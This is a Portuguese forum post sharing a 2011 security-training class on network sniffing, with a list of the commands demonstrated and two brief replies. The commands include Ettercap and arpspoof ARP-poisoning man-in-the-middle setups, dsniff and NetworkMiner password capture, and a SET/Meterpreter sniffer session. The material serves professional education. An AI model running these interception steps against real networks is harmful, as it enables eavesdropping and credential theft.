Tutorial Sniffer completo

[5k4ll]

Network Sniffers Class for the Kentuckiana ISSA 2011
Mais de 4 horas explicando a fundo as técnicas de sniffer. Realizado para o ISSA Kentuckiana que tem como objetivo educar profissionais da área de segurança da informação, vai desde a introdução até o total entendimento da técnica em si.

Material todo em inglês e voltado para profissionais experientes. Mas não deixa de ser um ótimo meio de se aprofundar nessa técnica.

Abaixo segue as vídeos-aula com os comandos usados nestas:
[ame]http://vimeo.com/20997566[/ame] - Intro to sniffers
[ame]http://vimeo.com/20997611[/ame] - Wireshark and Wireless with Gary Hampton
[ame]http://vimeo.com/20997949[/ame] - A little more Wireshark, TCPDump, Metasploit sniffing with Meterpreter, ARP Poisoning, Ettercap, Cain, NetworkMinor, Firesheep, Xplico and bridging.

Commands used:
Wireshark Demo

1. Run Wireshark
2. Basic start capture
3. Start capture with options
4. Drill down OSI
5. Capture filter options (4.9 in book)
not tcp port 3389
not broadcast and not multicast
6. Show a packet
7. Pop a packet out
8. Sort by columns
9. Follow stream (web traffic)
10. Export HTTP Objects
11. Simple view filters
tcp.port == 80
!(ip.addr == 192.168.1.13)
12. Filter builder
13. Apply filters from different panes (packet vs. details panes).
14. Save filters
15. Open a Wiki page
16. Edit-> Find packet
17. Analyzers ->Expert Info
18. Analyzers ->Firewall ACLs
19. Stats
20. Color rules
21. Save capture
22. Mention Lua
Dumpcap/TCPDump
dumpcap –D
dumpcap -i eth0 -s 0 -f "port 80" -w webtraffic.pcap
Sniffing in Monitor mode
ifconfig wlan0 down
iwconfig wlan0 mode monitor
iwconfig wlan0 channel 1
ifconfig wlan0 up
Ettercap Demo
1. ettercap -T –q –i eth0 -M ARP // //
2. ettercap -T –q –i eth0 -M ARP // /10.1.1.1/
3. Show ARP traffic
4. Telnet to 10.1.1.1
5. http to 10.1.1.1
6. FTP/Telnet/HTTP someplace with a password
7. Show find sniffers
ettercap –G
ettercap –T –I eth0 –P list
ettercap –T –I eth0 –P search_promisc //
8. Filters:
etterfilter ig.filter -o ig.ef
ettercap -T -q -F ig.ef -M ARP // //
9. Mention MITM: icmp, dhcp, port filters
10. driftnet -i eth0
11. Etherape
Cain Demo
1. Start poisoning
2. Telnet to 10.1.1.1
3. http to 10.1.1.1
4. FTP/Telnet/HTTP someplace with a password
5. SSL someplace from VM
6. Sniff RDP
ARPSpoof Demo
cat /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 10.0.0.1
arpspoof -i eth0 -t 10.0.0.113 10.0.0.1
dsniff –I eth0 -c
NetworkMiner
1. TCP fingerprinting
2. Host details
3. DHCP finger printing
4. File capture
5. Passwords
6. Plaintext
7. Open pcap
Bridging in Linux setup
sudo apt-get install bridge-utils
Script to setup MAC bridging:
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0
brctl addbr mybridge
brctl addif mybridge eth0
brctl addif mybridge eth1
ifconfig mybridge up
Things to show while bridged
ifconfig
sudo tcpdump -i mybridge -s 0 -w out.cap
sudo etherape -i mybridge
sudo driftnet -i mybridge
Metasploit/SET
Backtrack->Penetration->SET
Menu Choices 2, 1, 2 (Google.com), 2, 2, default, no
<go to page>
sessions -i 1
use sniffer
help
sniffer_interfaces
sniffer_start 2
sniffer_dump 2 /tmp/all.cap
<Show in Wireshark>

Palestrantes: Adrian Crenshaw e Gary Hampton

Slides:
Adrian - Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Gary - Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Estou disponiblizando o material mas sou um mero estudante como a maioria de vocês. Então vamos nessa juntos! Os mais sábios peço que ajudem ;D

Créditos: 5k4ll
Fonte: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Recomendo que vejam esse vídeo feito pelo Bhior:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

É isso. Espero que gostem.

[Tiagui99]

Se tivesse legenda ia ser muita bala.

[Lord Beni-Aretz]

Cara é conteúdo bom do início ao fim...
estava mexendo nos links e verifiquei uns conteúdos de Forence muito bons...
valeu a dica.